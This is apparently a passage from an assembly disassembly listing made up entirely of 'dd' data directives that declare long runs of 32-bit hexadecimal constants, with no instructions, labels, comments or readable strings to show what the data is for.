		dd 616E81B9h, 8E24C02Bh, 0BA9C1EF1h, 0D9DF7327h, 9ADA6B51h
		dd 0D2000822h, 2B362662h, 269BA930h, 44A2BD33h,	0B83DF95Bh
		dd 9F6D0045h, 0BABDA9CAh, 200B2785h, 0D5DD9D2Bh, 0BD50E33Ah
		dd 0F580899Fh, 27AE9535h, 7AC04EC0h, 0E33C98D3h, 9D47982Bh
		dd 498715F4h, 2AD17E09h, 25FC5349h, 4A70BDDBh, 0EE8F093Bh
		dd 4DE1C0Bh, 8BAA1912h,	0EF6025C3h, 0ED39604Ch,	0A7B880FCh
		dd 0F9489195h, 0A0E58A6Bh, 1D92991h, 0C59E90CDh, 201602ECh
		dd 0F40D1A8h, 0ECE150FFh, 8E2BF9A9h, 0BE822219h, 0FB4525ACh
		dd 0A8568D11h, 0B9C8AF4Ah, 0E69495FCh, 80613D45h, 502BAFBh
		dd 24B5FA8Bh, 0BC81FD7Bh, 0BC030943h, 58F61077h, 70443009h
		dd 125EEC0Dh, 0B16FE894h, 0CF23ECh, 1BD6D5EAh, 4E1FAABEh
		dd 12DAD50h, 0D327DB81h, 5F2B585Ch, 2D015CC9h, 85780173h
		dd 1250E897h, 0AC7576B0h, 25FC4FC7h, 83E807AAh,	0BBFE80h
		dd 1E6DD30Ah, 0D209F20Fh, 5E9DBA27h, 0C89DDA6Ah, 26C8C01Bh
		dd 0AC09A07Ch, 762B5C64h, 9C5427C7h, 52337C25h,	150F973h
		dd 0FA6E1D9Ah, 25BD4920h, 8AD447A9h, 2DF07CC0h,	6B5F0043h
		dd 0DAE26930h, 3B096818h, 5048D5E4h, 0E7C41D80h, 5874EBCAh
		dd 0C697F1E5h, 7FDA827Fh, 33606AB0h, 8981B52Fh,	884B8FF1h
		dd 107D252Eh, 2A676DAh,	9DCEDA30h, 0C5C8D0Ch, 40B9D869h
		dd 7927E91Ah, 45166901h, 854A8638h, 2C7BFEECh, 9EC3A0Bh
		dd 0B83DFE04h, 6FAF9607h, 0CC6A04A0h, 9BF9D6A5h, 57B3E3C2h
		dd 0FC2D285Ch, 5B74F661h, 0DEB66200h, 0FB56A2CAh, 25E790C1h
		dd 4DC670A6h, 0FA068926h, 4FD79E60h, 6DDB0C35h,	818860A5h
		dd 18E8252Dh, 0F36579A1h, 169215E8h, 4B9CFADh, 0B5318139h
		dd 3B67ABCh, 811EADB5h,	862A2CBFh, 8B45887Eh, 2D0F5695h
		dd 8595D250h, 9CACD915h, 0B6604A77h, 0C6BF0F68h, 0A44D2B09h
		dd 98AB6158h, 0AD229D60h, 27F4000Fh, 0BF660226h, 7C925715h
		dd 397B0B72h, 31600E96h, 95303D85h, 9602FCBAh, 6297595h
		dd 2D0D69E0h, 0AB549061h, 392E2488h, 4249872Dh,	0AB407F51h
		dd 0B8F88A60h, 0D8E119FCh, 600B3A32h, 73952405h, 0E5C0B171h
		dd 20A80504h, 610C990Eh, 0A1D8EBA7h, 2BF914EFh,	6142E02Dh
		dd 0ED5AC0C4h, 0D4479512h, 0E92D0D18h, 0B90BD023h, 0CDDF8101h
		dd 2B3EC7D6h, 0DAA4BE3Bh, 86D5C007h, 0B4CFCD9h,	0BDDB501h
		dd 1FF4C476h, 24A8E974h, 10D526BBh, 40F84A07h, 88BEA2D2h
		dd 7123A8BFh, 89D2A715h, 3DDD04ACh, 22FA00FEh, 928C5A97h
		dd 49B85E13h, 15808DBCh, 764FC208h, 80BA3Ah, 0B4DCD44h
		dd 0CBD91B5h, 674C1612h, 2E5E79D0h, 0A9F85674h,	76204D10h
		dd 5C61FB25h, 1A46D672h, 305142Ch, 512E1B66h, 27D96212h
		dd 5F258522h, 15FFD80Bh, 0B8D749F2h, 38D26E77h,	0DDD58D31h
		dd 8461166Fh, 89B6AF67h, 8871AA3h, 60B8DF42h, 4C589F60h
		dd 0C402116Dh, 5BF957CCh, 2F87069h, 788DFBD9h, 532A9173h
		dd 5BBDD1C5h, 96ACD8FDh, 953D8405h, 89A8D5A6h, 0F72B8B80h
		dd 0DF04EB86h, 9DA8C8D1h, 7D99F580h, 0BFD998B1h, 0DD254EFBh
		dd 1A80CB1Fh, 2B3EEBD7h, 1E350978h, 9785C742h, 0C133BCC1h
		dd 320DBD89h, 1242C504h, 4B7BFF06h, 0E3138C5Fh,	25E1773Bh
		dd 9612C6F9h, 0A4DB40CFh, 0DF017A34h, 70F26DD6h, 0FB2A3BD1h
		dd 9520D017h, 35D49Fh, 661514D2h, 40B4B1CEh, 7BD9E4Ah
		dd 4A85E3C2h, 26E15432h, 10253B40h, 86A0E164h, 599D332Dh
		dd 0D6186A1Dh, 5CD9A600h, 77BF600Eh, 4EE07C3Dh,	8B1CAD61h
		dd 5F87328Ch, 14F689CAh, 197500F4h, 0E5D98BEh, 1104F0D0h
		dd 2F45B589h, 0C8099BAEh, 0ABFBC414h, 72226A08h, 2050BD5Bh
		dd 3C0114AAh, 3D588E02h, 0B809F04Dh, 80F15C63h,	0AB1186Bh
		dd 5B7A0178h, 6167A72Bh, 0BE2CA450h, 0DB09CE60h, 3D3500C1h
		dd 78E8D59Ch, 0F014648h, 0E94C4012h, 5C9C4730h,	528F5FBFh
		dd 0F217BE55h, 6500CF6Eh, 40884A9Ah, 644E1522h,	0ADFD33C1h
		dd 0A828F23Ah, 53EA019Dh, 0DF6F6694h, 33342EFCh, 0AC0C84AAh
		dd 574BA230h, 0B68066BDh, 6C15FA05h, 0B33C0FA0h, 2B8B2DABh
		dd 168E551Ah, 0B5F291E9h, 58DF8B25h, 0AD1ABD9Bh, 896FFEFEh
		dd 0DDBDD58Bh, 8A821691h, 325C1F1Dh, 0D47F7EE9h, 47287529h
		dd 8C021924h, 5C35221Ah, 395E4B17h, 0A49A09DEh,	0BE688E0Fh
		dd 0DCBF3357h, 0E25B923Eh, 82378802h, 59E7BF66h, 0EC804ED5h
		dd 0BE8E11h, 7E6700D4h,	0A84729E7h, 934AAFC2h, 4F377AAAh
		dd 3B545560h, 2C0B9721h, 0FEE946C0h, 86305495h,	0EA5B27F7h
		dd 0E46F3194h, 6EBEC18Bh, 0C9EE4AB9h, 2D883EA4h, 41A81D1Ch
		dd 0FA48003Bh, 0A382257Ah, 0E2B26F05h, 0B0007595h, 35F743Ah
		dd 0A7F3B4BDh, 46D68B54h, 8009001Bh, 0E24F8EC4h, 207FEBD0h
		dd 0FC30B8AEh, 6BF3751Fh, 0A7538B00h, 277DDFh, 1C7CA2A8h
		dd 60675EBBh, 0B3F0B001h, 505B61BAh, 8802A820h,	669EDC8Ah
		dd 0C0F64D25h, 0C81AE002h, 13922B06h, 97486E27h, 4FF21357h
		dd 1786E10h, 17A6E7B5h,	14647231h, 13AAA424h, 0ADED1A39h
		dd 5F07BC8Dh, 16716E7h,	8392D0EDh, 0D6DB3FC0h, 48903EC6h
		dd 0E6E7552Fh, 331E12C0h, 7941FF9Fh, 2990C801h,	616FE27Fh
		dd 0C800F6Eh, 7637FE14h, 9C9984C4h, 4AB8816Dh, 1710C517h
		dd 0A8AFF6C0h, 0F56000FAh, 3BC7D881h, 2964FD3h,	7B203D0Bh
		dd 2CAED0BBh, 0F8AF6B12h, 675D4CE7h, 0B505CCA8h, 0E754ABACh
		dd 8F2034C4h, 1F5BB679h, 41D7A627h, 6BBAE3F8h, 7D0D20CDh
		dd 255F1140h, 0C373D1FFh, 319B470h, 2BF4615Fh, 8992D60Eh
		dd 55350BF7h, 875E2D1Ch, 0D626CC70h, 82A02B6h, 26A9A91h
		dd 76377Dh, 0C2CF50DCh,	0DB27709Ch, 34287E1Eh, 0D533807Dh
		dd 0AD9950B9h, 0DF994287h, 4FE071C7h, 971F8EC1h, 0F6C3D4h
		dd 4A7FC1C5h, 0E1FD977Bh, 0C498742Dh, 93DE026Fh, 634EC9A1h
		dd 500BDAECh, 5C37E95Bh, 244371A7h, 0BC1CBBD9h,	0D3AF845Ch
		dd 0B7BD7017h, 1B5F7300h, 0A7FA7FB1h, 0A47AF58Bh, 5195FCCFh
		dd 9D0B8249h, 38570711h, 5AB53173h, 0F88B09E9h,	1687585Fh
		dd 0AB19ED8Dh, 5443817Ah, 0E71A5900h, 20333945h, 0BBB8AB03h
		dd 0BD09F71Dh, 0BED858BCh, 0C5B5290Dh, 0B011692h, 0BAD50AD5h
		dd 55798268h, 0DA6A070Dh, 1C894679h, 428EE4B7h,	0BEB85B18h
		dd 0F4C0AA94h, 0C8FDBC11h, 0FE686401h, 77B20230h, 758CF03Eh
		dd 0B8A72AF1h, 0C03BF5A7h, 0A3A83EB2h, 0CCC2CD25h, 3F724596h
		dd 2D215104h, 99C18001h, 16EE7061h, 6009DE8Ah, 0AB73E3BFh
		dd 0EB56D2Eh, 0F5A0503Ch, 2A5FDCA9h, 0F32FDAF5h, 0C28B258Ch
		dd 4B7C2088h, 0E0D4CCh,	0CA9805FCh, 9E2703DCh, 1A480197h
		dd 4D2E5B68h, 2EA91E99h, 0C8B6EDC1h, 0EAE3846Ah, 5B2DDE98h
		dd 0AAC424DDh, 705C3E9h, 0AABFDC46h, 0F191C81h,	3E8D3301h
		dd 5F610045h, 0BD2B56C0h, 558FAA71h, 19599190h,	8803F28Ch
		dd 0F60BD380h, 8409C82Bh, 0F8090A32h, 87FB8557h, 0A5A04BE8h
		dd 5E1E3289h, 0B2DAE258h, 0C4CF516h, 0A9AD9C00h, 3F44B17Eh
		dd 745D74FEh, 0D43E17BFh
		dd 0AB1F857Ah, 98491B0Bh, 0DFD8Dh, 0B5802022h, 0B0140F78h
		dd 124D8A03h, 9959886h,	29B1BDE0h, 5345C65Ch, 2E15948Ch
		dd 39CEB06h, 0C579B4B8h, 6DC2AFB5h, 12198E09h, 8D84E6E2h
		dd 294B2245h, 0D4BDED8h, 0D323E69Dh, 51AA1001h,	2BBE04A3h
		dd 2A2239A3h, 9985597h,	0B4122FCBh, 0E3E751F8h,	0F25BD08h
		dd 8F8B9594h, 1A658409h, 20318BAEh, 0D88B959Ah,	0DF6567E0h
		dd 38DB3BF9h, 0D4D012C3h, 0AF6BAEECh, 72041823h, 0FBC08550h
		dd 4AB5B9F5h, 0A077A70Fh, 9F9E22Eh, 48B38B64h, 60065955h
		dd 53B1277Ch, 852A650Fh, 286300D7h, 2D1CD69Ch, 0BA72BE15h
		dd 0D8AC195h, 6067D82Ah, 0FEFC109Dh, 82E30080h,	0FDAAA401h
		dd 921FCB96h, 0CF1D1EF3h, 0D22B61C4h, 44F740BCh, 0A32C400Bh
		dd 2E76E71h, 64FC3159h,	0E2DFC16Ch, 0FAEDFF8Ch,	7A9238CBh
		dd 99B3E85Ah, 0A29C13h,	12D6BA54h, 0CB4A83E1h, 4DEB7B1h
		dd 0DEFCAA5Bh, 0AA9DAC96h, 0C4E6A85Ah, 4CBCC2D8h, 80CD9BD2h
		dd 5B6EFD72h, 0E21D5ABFh, 2DBDF5AEh, 3E4AEDA8h,	27E0FAB6h
		dd 0BA126A13h, 6CF2FC8Ch, 135B6189h, 0E86791D8h, 0BD890970h
		dd 51390FEDh, 71642F8Bh, 0D40211C0h, 3DC70980h,	295EE1FFh
		dd 0D6F8DCh, 0DEE026F4h, 7708FABFh, 6DCA024Bh, 9E04A113h
		dd 537680E7h, 99DB260h,	0ECD77548h, 0C525F276h,	4880991h
		dd 0E6D0197Bh, 0AA3D0423h, 81F3D89Ch, 2F16957Eh, 1DB341FCh
		dd 56606B12h, 20F3CDEEh, 214BEDBFh, 17C8AECFh, 0AB094C0h
		dd 8160003Eh, 53FEFCE7h, 8B976130h, 0DE035CB0h,	0E920C109h
		dd 0B7CB788Ch, 0A5015A37h, 4926FFB6h, 160917FCh, 0B80BDD9Dh
		dd 0A84BC8ADh, 89595946h, 0CA7FAA4Bh, 84FAD31Ch, 0F8DF0735h
		dd 0AD9D4B12h, 17E86A3Eh, 47A82C14h, 806FC912h,	1AC1B5BBh
		dd 5FF12AA2h, 6037D30Fh, 0DFE28CCAh, 0B4D9004Eh, 435DF728h
		dd 0FF5A290Fh, 0AEB5ADA8h, 0C102FF20h, 6244009Eh, 1DA7F198h
		dd 1C0929DAh, 7F5E9CD6h, 0B37C6EE4h, 738D0FB7h,	0B557DBE0h
		dd 97A99151h, 4935BF00h, 9E581934h, 0FF0EDC69h,	4502EB2Bh
		dd 2FC050FBh, 5C6D6A3Dh, 0F05E923Ah, 0D3BF1943h, 0AD10D873h
		dd 0D902DBFAh, 0B44BA08h, 24CA55BDh, 91D8B555h,	2DE1801Ch
		dd 97F1D2Ah, 0DC0E11B6h, 0B8ADDB07h, 1D2E905h, 99162EF9h
		dd 0B2C0B829h, 0EC8D5DD9h, 0D8242E35h, 0DC3BDBBBh, 0ABA39EC1h
		dd 8E892DFDh, 0FD5C2789h, 0EAFE18EDh, 2CCE5591h, 15A5C93h
		dd 2DEC9ED2h, 9D8998E3h, 0E2A59FC5h, 0E190E606h, 0E72E6803h
		dd 1BF24AD8h, 73780900h, 0CFF3992Eh, 0C3492F00h, 54AC3008h
		dd 0FC8812B6h, 0BAF9656Dh, 5E118230h, 0B02200FDh, 0CDE4C1C8h
		dd 0C62D576Dh, 0E2A2F8D3h, 5F618007h, 0A04151BFh, 695495D5h
		dd 9D87D95h, 0E535096h,	5B7487E1h, 5109F68Ah, 5A085E24h
		dd 9A8F60B5h, 20E3A074h, 913866AEh, 0EDE46BF2h,	0CCBC4A00h
		dd 5951A077h, 909A166Bh, 0D15CE505h, 31E322FAh,	0ED0B252h
		dd 6005E7F7h, 53FDCCh, 0BF575C50h, 567A9539h, 90E1032Fh
		dd 1A9A4FCh, 37EEC307h,	0FC06FB9Dh, 9C008B2Fh, 0BD018DEBh
		dd 0A0614B82h, 4FC8A6Ch, 459D2358h, 0C947E92Fh,	2B185D90h
		dd 0D1796DBBh, 0BF505403h, 0B26EAA9Ch, 215B5590h, 0C034745Ah
		dd 0A9E1B846h, 0DD571A07h, 29510CB4h, 0EB38558Dh, 0DE7F6124h
		dd 2E56EF01h, 599ACA26h, 4C71B36Ah, 16D92E13h, 70A2FB13h
		dd 4D381C0h, 0C4BEE3Ch,	2C259BCAh, 0D706B264h, 3DE9F45Bh
		dd 0B8EDB715h, 0FC82EAC4h, 5F4E4A4Dh, 0A35DA9F3h, 81B59FCAh
		dd 0BF90142Fh, 45F688F8h, 0DBFC1731h, 878D803Bh, 24143895h
		dd 3A783FFBh, 0CA4BDF4Dh, 41F1C8Bh, 3A375725h, 60A11000h
		dd 245B66B9h, 27065E02h, 0DB09BC66h, 16616541h,	6AE36B19h
		dd 8557375Fh, 0FD2FD469h, 1C09C4E6h, 0BE851312h, 0DF4928h
		dd 0B2AA33BBh, 73206B6Fh, 0DABD564Eh, 98C17ACh,	0D8540E19h
		dd 0B20190C4h, 0D11C7296h, 0C2DC8F4Fh, 0EAD302E1h, 37F381C9h
		dd 0DC6B7074h, 0C850133Ah, 953D7F71h, 0F83C8BE0h, 4A47F9Eh
		dd 0F36BAEFAh, 73001623h, 9D039388h, 921E4FE9h,	0E575ADA8h
		dd 19B584E7h, 352D391Ah, 6905D6A8h, 0F7E7EC18h,	0D7629AABh
		dd 0BA4BCDE6h, 1729E3D8h, 0AB10A985h, 522AC129h, 0D763FDB3h
		dd 0FE090AE2h, 6880EB1Dh, 58D2B144h, 974C2607h,	8B908DD4h
		dd 5EF274D3h, 81C1AD51h, 12B1B501h, 7F20A33Bh, 0A51F7D23h
		dd 9C50F7FBh, 2FE4E230h, 0EFD9F502h, 4FFB0400h,	1CEE8489h
		dd 0CEC64472h, 65E001ECh, 3591FD87h, 79848D62h,	0E85B040Eh
		dd 16F9D059h, 89B90BFDh, 8C19BCh, 73D957A6h, 0DB80D2B9h
		dd 50B2504Ah, 0C04BA24Ah, 61B42056h, 0F0F3BFC3h, 9EC4D0h
		dd 437879D1h, 7FBB6638h, 0B0556CB7h, 0D552F73h,	8EDEA656h
		dd 6E9D0BC4h, 247D233Bh, 0B0131036h, 0F175018h,	0CD891289h
		dd 8F2286Eh, 750BE4ECh,	0D517DA4Bh, 0DEBF818Bh,	0D954F500h
		dd 165C6842h, 0C986C80Fh, 30CC6AC1h, 0C63A2742h, 6DB50944h
		dd 491E72Dh, 0A224E8ADh, 57502237h, 0D525E85Ch,	6C2FD81Fh
		dd 0B8325BCFh, 18EDD76Bh, 1B759582h, 42E2595Dh,	0DC090C29h
		dd 211A093Ah, 0F9ADFD79h, 0A65A435h, 0CB23192Dh, 10004BC4h
		dd 2D5FE87h, 25478CA5h,	0E47D5055h, 215BB5E6h, 12C9542Fh
		dd 0E2D9B823h, 0F7802150h, 0C89D2B4Ch, 8BF1DA7Ah, 92E5D8DFh
		dd 0DEC65EC5h, 0BAAC8CE3h, 0B9255A91h, 41BDA037h, 59ECBF15h
		dd 5CD6DC02h, 75CD7D3Dh, 0E9420C5Bh, 6B0AD796h,	0DF5CB89h
		dd 863ACAA1h, 7095C9FAh, 8170C400h, 228D0E2Fh, 57ED2964h
		dd 0F3708E7Bh, 0D2DA14DCh, 0C9109933h, 8D4C7623h, 355794DBh
		dd 9CA4FAF0h, 0B759704Ch, 797865DBh, 6F7535D0h,	0B05CBF70h
		dd 0D60E0F91h, 0D240B532h, 914BFA1Bh, 99AFB38h,	0F5921F1Ch
		dd 92EA204h, 0E1B7465Eh, 0D2BF0F10h, 83455195h,	25A0EF81h
		dd 494171AAh, 75F76F15h, 0A3CC68B0h, 60FED17Ch,	22820F17h
		dd 8811D088h, 43890F3h,	0ECC107D5h, 22601E7Eh, 0A5649D8h
		dd 0E935A8D0h, 95843B5Ah, 0B14581E3h, 0C16C784Eh, 0F4EBC08Bh
		dd 1E30F20h, 1C3EA52Ch,	0D47C1756h, 0B4ECD79Dh,	0A19AE100h
		dd 1F93E8C8h, 7E181D51h, 699C403Bh, 0AE4CB8EFh,	0F8C0440Eh
		dd 1E3440B5h, 0A52695h,	0C16ABCDBh, 558C6828h, 0EA5DD40Eh
		dd 9CC980A1h, 0F5E142F2h, 15922FCh, 7CB0F425h, 0F046110Bh
		dd 277C1339h, 9FFECE07h, 0CF40A73Ch, 1568454h, 422DAC0Ch
		dd 982558EBh, 0E421B309h, 410C004Eh, 6332A7AEh,	18C0022Ch
		dd 0DE7464A4h, 4AC5001Eh, 0CAE6A359h, 38C0FA08h, 2754A4BEh
		dd 109FE957h, 91C10074h, 0CB22D0DDh, 8E0D533h, 9A21006Ch
		dd 2DB6C1F2h, 34015699h, 0EF0F19DFh, 6088A13Ch,	5418AEB5h
		dd 0FB1231h, 5B79139Eh,	4C8422B3h, 54A50303h, 0CCE6F4h
		dd 67ACEF29h, 80984656h, 94E0233h, 8F2139D5h, 2EA16780h
		dd 2305C876h, 9B2F9806h, 0A507CC2h, 6B1E930h, 1B02249Ch
		dd 5FC339DEh, 192C8900h, 4A075E51h, 0C54C0525h,	190D9EAh
		dd 4D5AFD80h, 0DFB88084h, 0C33BE964h, 0B1E439h,	0ADCF7948h
		dd 3485EF4Ch, 0DB25F000h, 8E28E85Ch, 0E4610010h, 0B766977Bh
		dd 63B4315h, 6000F9EDh,	0BAFC32D9h, 0C02891h, 21844B7Dh
		dd 0D53CAC3Eh, 0A6FD990Eh, 23A2E0C5h, 3CC5893h,	5F2CA939h
		dd 4AB8E8BCh, 9900647Dh, 24E1F5BAh, 6EBB67h, 5CA3C0B4h
		dd 0CC054814h, 0F235EB00h
		dd 3BC4825Dh, 0A53C00EAh, 1F271DB3h, 4DE87496h,	8157AE00h
		dd 7BFE088Eh, 0F6B21969h, 8061086Bh, 8E793521h,	0E1CFFA3h
		dd 22A42F2Bh, 2CF275E0h, 727B964Ah, 77AE2600h, 9F054D91h
		dd 38DE2Ah, 28711247h, 0D20C31B0h, 809A873h, 6E21C03Bh
		dd 1092711Ah, 27105960h, 65CDD1h, 7D5595D7h, 0E2A4FF42h
		dd 6A76C800h, 0F82025B8h, 0CD3D07B6h, 0D3EE6D7Ch, 48937D0Fh
		dd 74F54148h, 0B160A5FCh, 0EA2ACE11h, 1B370310h, 332F494Bh
		dd 21C60830h, 0EA22F3h,	40A66C7Dh, 0C4FC0E5Fh, 9FDC200Eh
		dd 0C2AD212Ch, 0E8B245F8h, 133004E0h, 0B0291171h, 80448839h
		dd 4711B6Dh, 9500E8E6h,	966F6CA1h, 1F32B78h, 6D7E90FEh
		dd 4E3CE2ADh, 0C040C830h, 0B22E9FEEh, 2DDB8905h, 0DC476797h
		dd 0C20753CFh, 0E18F6BC0h, 934400F4h, 77E3EF15h, 2A01CD5Eh
		dd 886A27D6h, 8850B9A4h, 7DE67565h, 5F3A0337h, 0C0134551h
		dd 0BC88AEE8h, 8CCEB428h, 9C6EC600h, 5FA121Bh, 496200A8h
		dd 2E02696Ch, 35008C81h, 2D1C0627h, 8D8270h, 3F966EE6h
		dd 2E8911E0h, 8634B300h, 0A1C3C16h, 693006FEh, 18B509AEh
		dd 73D64000h, 2D953F51h, 10E1014Ch, 0AD2A8068h,	0B5388936h
		dd 0BC638331h, 1E448048h, 1A60053h, 398B943h, 6802F1F8h
		dd 3C87B02Eh, 4F1CA2DBh, 826CC012h, 4CDC0E04h, 9C406D17h
		dd 0E207995Bh, 953C0217h, 3028130Ch, 163EA85h, 8BCD5B1Fh
		dd 80698930h, 0B52BB58h, 3AA7B513h, 9003ECDDh, 2F0EE9CBh
		dd 6DED2810h, 0EEA51860h, 73D43E1h, 0BB8960CBh,	0B735D9h
		dd 0F395811Ch, 4969DF2Bh, 8D302103h, 74F9F8h, 0B82B740h
		dd 0E785B96Ch, 531AD00h, 644A624Fh, 1D343CF1h, 0A9993A0Eh
		dd 0F506DECFh, 3F3D1119h, 0F7F400B0h, 9DB51AAEh, 27C7030Eh
		dd 3E300787h, 0C6B48903h, 4BACC9h, 0CA940511h, 0A5F83036h
		dd 0E800857Eh, 0D2DA4E4h, 1802FA07h, 48BAB8ADh,	0DC1F5FD6h
		dd 0E101C447h, 7862A985h, 979AD8D3h, 0FCA400A3h, 8603F1FEh
		dd 8CCC1F6h, 1FBD2192h,	5D2FA49Bh, 0FC6280EEh, 530DABCBh
		dd 7AA1AC0Eh, 0B2DB815Ch, 30808C5Eh, 501B1277h,	8501CF90h
		dd 0E3547B22h, 50807919h, 0F26FAA1h, 0A2E07A62h, 2D037FF6h
		dd 1849A59h, 854001F4h,	61BE05DEh, 0A15ED837h, 9C186560h
		dd 300A0FC0h, 0D5400642h, 0C706C8AFh, 7703F09Fh, 0B68436B1h
		dd 0AD030818h, 0F09DD132h, 640CE1A9h, 0FB96180h, 0CAA79869h
		dd 5F97070Eh, 0C1814C37h, 47AC0065h, 0A6AB0ED0h, 2366067Bh
		dd 215908h, 3447B4C0h, 0C45E8CC8h, 0D4094500h, 16A0E97h
		dd 8BD0C088h, 9C03C976h, 0B585E015h, 0A48780B8h, 8C91FE30h
		dd 9B98C44h, 699A49Fh, 0F6E4BB00h, 18324737h, 3134A8CFh
		dd 0ED5F4C1h, 887AD346h, 7AECA9CBh, 6844B501h, 8B02D84Dh
		dd 21839B71h, 97396A80h, 3707B01Dh, 0AA155CCFh,	1D38BC51h
		dd 0CCC5BD8Dh, 9C41632Dh, 0A538FBFFh, 199B4470h, 8C6E681h
		dd 182180EBh, 2D403833h, 608E002Ah, 0CF353A01h,	3100B3DCh
		dd 7CFFCA8Fh, 30751696h, 0D068645Eh, 0C203DCABh, 0A5A20973h
		dd 13903E90h, 91E600FCh, 6EF84ADh, 0B8C08678h, 0A2CA4FF6h
		dd 0E4F80A0Fh, 118C7E59h, 47C08033h, 8CCB0ED4h,	1CC5244h
		dd 127C47A8h, 507D19EFh, 0F6029EBCh, 8B488F76h,	66E0310h
		dd 0E184610Eh, 0E0829905h, 601E5D5Ch, 66C690A1h, 0E19FF1E0h
		dd 0BA5F0087h, 0AC4000D1h, 6361CB01h, 8CCBB19h,	0D821BFh
		dd 7D6540C9h, 0A081B4C5h, 94B7173Fh, 85CCF98Bh,	0A85EDB54h
		dd 0F4471900h, 0E98EABh, 0C94264A6h, 0F38A1438h, 714E2B8h
		dd 0E8D48B36h, 4D3A8CF3h, 0BEF68087h, 8B8CF6Fh,	8ACBB8F0h
		dd 0AF144188h, 0A4089D18h, 0C4C1FE32h, 95B7408Fh, 3AD46A4h
		dd 84A087AEh, 713B02F7h, 0F1D1E037h, 0C108269h,	0F21735D6h
		dd 0C103C521h, 1489882Fh, 0B2FFA041h, 0C0610A2Ch, 438CFC8Bh
		dd 0A2E0A406h, 0D1DA75Ah, 4E69702h, 49F02E0Ch, 0D1F0C0DDh
		dd 0A9488AE6h, 877B4307h, 2F647526h, 18421089h,	47AE30C9h
		dd 1B0ECE11h, 0C6875B88h, 0F6F047B6h, 48599B63h, 5CBCC4A8h
		dd 4D58008Ch, 0A5D664C6h, 440A13F0h, 8C833EA6h,	0A25B0880h
		dd 329233h, 2F9C571h, 62AE603Ah, 0D728B00h, 8552B564h
		dd 0E4F2002Fh, 0DAB07608h, 98908315h, 4F44AF00h, 8CA6983Dh
		dd 0F842002Fh, 0EAC15A4Ch, 1518717Bh, 2406A75h,	0AA5B300Ah
		dd 0F84BFC58h, 57592E02h, 419F081Bh, 0D5189B68h, 1C04008h
		dd 41F0C4EBh, 6E40CDC4h, 78E2430h, 0E9311EAh, 9882B672h
		dd 0C09250C8h, 1C140D2h, 0F122E346h, 40CAC507h,	0F5803CB9h
		dd 1CDDC020h, 3EAE0A44h, 29853E18h, 0FE00CBB5h,	1FF74BFAh
		dd 2C84FF8Ah, 43205905h, 1AC6A5Dh, 0D67440F6h, 5A151984h
		dd 2FDF09B4h, 0A20E815Ch, 0B08181E5h, 0EE0AFE31h, 60043083h
		dd 88E9600h, 6DDFC34h, 9C8A3A3Dh, 14CA990Eh, 5B9E795Fh
		dd 0A385000Fh, 0FA01F6F4h, 4C116A24h, 76490600h, 0CD1CB33h
		dd 0FBEB320Fh, 70009B18h, 0DCA58086h, 0C06FEE0Dh, 5408DD90h
		dd 3C0F84F9h, 15E19A6h,	2DA1E3D9h, 5D009422h, 2EC3573Fh
		dd 6B031491h, 0F9F6C2BEh, 8862E966h, 6D14880h, 0ACFD04A6h
		dd 806361E4h, 906B63E9h, 0F749C2h, 0E5297506h, 5A6E19A5h
		dd 779BDB01h, 7407DA55h, 700F3080h, 2CBFBDE5h, 0DECC3Eh
		dd 8B378413h, 56C497h, 92E99502h, 0BBB9B270h, 0CF6C8F18h
		dd 30111B28h, 56180CBDh, 4F0095D7h, 6C936B09h, 18460251h
		dd 503006BEh, 9640010Eh, 0B118008Bh, 41996A45h,	0F500CCA9h
		dd 0EA9D516Eh, 0E080EEE7h, 203B626Dh, 674162C4h, 11204FF0h
		dd 0D78BF45Fh, 1DE1D03h, 220030A6h, 8AEC8060h, 33529969h
		dd 77085983h, 68C02100h, 34E9A680h, 82780048h, 89CAEFC6h
		dd 567BEEDDh, 84CFB228h, 0E8A49A00h, 624E5C40h,	45960E26h
		dd 0B08C2512h, 5E90FA21h, 9333ED00h, 0EC9D731Ch, 48490574h
		dd 971FC1h, 3115E28Ch, 9CA02AB5h, 3402E3E1h, 9AE86E41h
		dd 15C92A9h, 318AE9E9h,	883E5C48h, 800069C7h, 55B773F7h
		dd 0ABD6A62h, 0AA6BDEDDh, 7D248BDCh, 526C7700h,	797FEFFBh
		dd 0A2A1000h, 0F227778Dh, 86371DB8h, 0B53031A2h, 9BC980B4h
		dd 0A7A51A47h, 2F8D000Bh, 63AB35AAh, 4A0E0CEBh,	0EA094053h
		dd 8F86F492h, 18388838h, 0A104DEC4h, 5838443Ch,	0CE708035h
		dd 6D722BC1h, 0B5FD0D51h, 2305366h, 0ED3133B0h,	294E9A60h
		dd 91B025FAh, 9C0538B3h, 0C980C340h, 8F4637BAh,	0DABF0025h
		dd 0C4FF99BBh, 9800022Fh, 117807CBh, 3ECFE39h, 15CB9B3h
		dd 79076D68h, 0DBF836C4h, 7650BDF7h, 0CCC6D5B8h, 14212D08h
		dd 0C2DBFF1Ch, 83BA9140h, 7A4D8F6h, 0BF0A8E29h,	130C0374h
		dd 370A99EEh, 88774BA9h, 219F909h, 20AF86A0h, 72B11113h
		dd 3A5AD580h, 9905E367h, 4416398Eh, 8C8A37F8h, 0ED2049B8h
		dd 82F01D0Ah, 28541C45h, 316068B4h, 2A465C68h, 0E18B2200h
		dd 6DE8B225h, 1F35B103h, 35C13EEh, 0F6308568h, 0D9E6190Ch
		dd 60B4D083h, 105F40E7h, 0C8264A4Eh, 0FF0380B1h, 74AF5740h
		dd 0E8066700h, 0D2DAF586h, 0ECDD0E37h, 0B2094E44h, 95FD9484h
		dd 0FF7C0814h, 0EB8063C0h, 2261468Ah, 6BC10038h, 2105C380h
		dd 1F0414F7h, 0F2E445AAh, 0A8A3F083h, 3250DC1Dh, 2968F302h
		dd 0F5FF812Fh, 92716B55h, 0C530B081h, 509B6904h, 93FE7ABCh
		dd 0A815F803h, 0B61D0632h
		dd 21A66008h, 2593FF58h, 0D1499D0Ah, 81FD02Eh, 10C5133Ch
		dd 0C0AA3C08h, 8AE8805Ch, 39224946h, 803B64E4h,	15ED00E4h
		dd 0D79EA981h, 3CDF13BDh, 60B015CDh, 0EA88F080h, 98AD865Bh
		dd 2C903AE0h, 48921D50h, 0D96C15Ah, 4154B216h, 24466CDCh
		dd 0FB00E114h, 3420EEA7h, 1E6607h, 4B64F5B5h, 0E7A31C97h
		dd 0E189DA80h, 6ED1B420h, 1C6A6916h, 81E403BCh,	60224CFBh
		dd 4424A7BBh, 0F3DE6068h, 10880906h, 0F88034C9h, 1DE3EDFDh
		dd 0E2AA9C03h, 14C6398Fh, 0E6BF3DB9h, 60B29C40h, 0BA4749CCh
		dd 0F61E259Fh, 2C6CF3BBh, 0A5173131h, 887E0h, 0F85EC6C8h
